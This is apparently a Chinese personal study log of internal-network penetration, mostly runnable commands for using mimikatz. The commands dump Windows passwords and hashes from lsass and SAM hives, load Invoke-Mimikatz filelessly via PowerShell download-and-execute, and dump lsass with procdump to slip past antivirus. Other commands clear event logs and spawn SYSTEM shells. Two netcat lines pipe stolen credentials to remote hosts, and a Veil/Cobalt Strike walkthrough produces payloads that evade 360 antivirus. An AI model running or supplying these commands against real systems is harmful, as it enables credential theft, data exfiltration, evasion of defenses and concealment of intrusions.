记录内网渗透学习进程--DAY8
mimikatz
mimikatz是用C写的一款windows系统凭证收集利用的程序,可以获取密码系统账号hash,浏览器密码,VPN密码。RDP终端密码等密码,在内网渗透中可以用于各种凭证的导入和导出,包括hash传递攻击
主页:http://blog.gentikiwi.com/mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz/releases
基础用法:获取windows系统明文密码及HASH
由于是需要操纵系统内存的,所以需要拥有debug权限,默认管理员组拥有此权限,读取windows系统账号和明文hash:
privilege::debug
sekurlsa::logonpasswords full
从上面结果可以看出:
- 一个Authentication Id代表一个块结果(这个“块结果”我自己理解的),也就是内存里面某个账户里面的凭证。
- msv项是账号对应的密码的各种加密协议的密文。
- tspkg、wdigest、kerberos 这3个项是账号对应的明文密码,但有时候不是3个项都得到结果的。
- ssp项下是你最新登录到其他RDP终端所用到账号密码,windows server 2003、windows xp是不会记录到这里的,因为账号密码的输入不在本机内存里。
- domain项是被登陆的机器的USERDOMAIN,可通过
set
命令来查看该变量,通过ping该项对应的值,可得到目标的IP。如:ping -n 1 john-PC
,如果想要是IPv4就加上-4
参数,即:ping -n 1 -4 john-PC
得到的DOMAIN 可以ping 得到IP地址 ping -4 输出IPV4地址
获取windows系统明文密码的原理
当用户登陆后,会把账号密码保存在lsass中,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码。
mimikatz with reg (offline) //离线获取,有些时候可以将内存带回本地
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv //将内存提取出来
lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv //将内存文件放到目录下,然后读取
mimikatz with powershell //powershell方式,无文件落地
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
解决windows高版本无法抓明文密码的问题
问题出现点,windows 8.1及以上系统在进行明文密码抓取的时候出现以下情况。
-
报错
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
-
密码项为NULL //空密码
4. 杀软对抗
mimikatz的明文密码功能固然是强大的,但就是因为强大,所以在被各国黑客关注使用的同时,各国的安全厂商也是会投入人力物力去查杀该程序,由此就会产生对抗安全防御软软件的技术。
procdump是啥玩意?
procdump是微软收购Winternals公司后得到的一个工具包Sysinternals Suite中的一款小工具,属于微软产品。详情请看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
为什么能对抗安全防御软件?
我们使用大厂的软件把windows系统的内存dump出来,然后下载回我们本地系统,通过mimikatz解析内存文件,提取存放在内存中的凭证。那我用微软的东西,你不能拦截吧?那我在本地自己没有安全软件的环境用mimikatz解析,能拦截的估计就是断电、蓝屏……
//但是据说现在还是会被拦截,有些杀软会保护lsass(卡巴斯基),所以看情况使用
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
log
sekurlsa::logonPasswords full
Tips:如果被dump内存的很大,dmp文件就会很大,想要传回本地的话,耗时就比较长,所以我们可以先压缩再回传,可以用windows系统自带的压缩工具:makecab,该工具不适合压缩大文件,4G以上的可使用rar或7z,正常我们尽量压缩几百MB的文件就可以了。命令:makecab /d compressiontype=lzx c:\1.txt c:\1.rar
清除日志
event::clear
后面的操作不被系统记录
event::drop
以system权限启新的进程
获取系统system
mimikatz # privilege::debug
mimikatz # process::runp //以system启动一个新的mimikatz的交互式shell
mimikatz # process::runp /run:cmd //以system启动一个新的cmd
实战下的mimikatz
比如在webshell、webshell管理工具的终端都是半交互式的,我们执行mimikatz.exe,是不会进入mimikatz的终端,那么就不能只直接的mimiktz的命令了,但也可以如下使用:
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit" >> hash.txt
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash.txt
利用nc把mimikatz结果传到远程服务器
先监听,然后转发过来
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" | nc -vv 67.68.123.4 1337
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1337 //要挂代理,这个网址被国内拦截
MSF自定义payload
各类免杀工具的使用
veil-Evasion
安装
安装docker: apt install docker.io
拉取镜像
docker pull mattiasohlsson/veil
启动容器
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
veil的输出文件被映射在/tmp/veil-output
进入后是这个显示,然后我们一般选用第一个Evasion
然后运行
接着选序号3
打开CS 选择这个payload,然后里面选择一个监听器和veil选项
获得payload
取一个名字
生成一个文件(要编译)
编译命令
C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe 122.cs
当着360的面成功上线
可以上程序在后台运行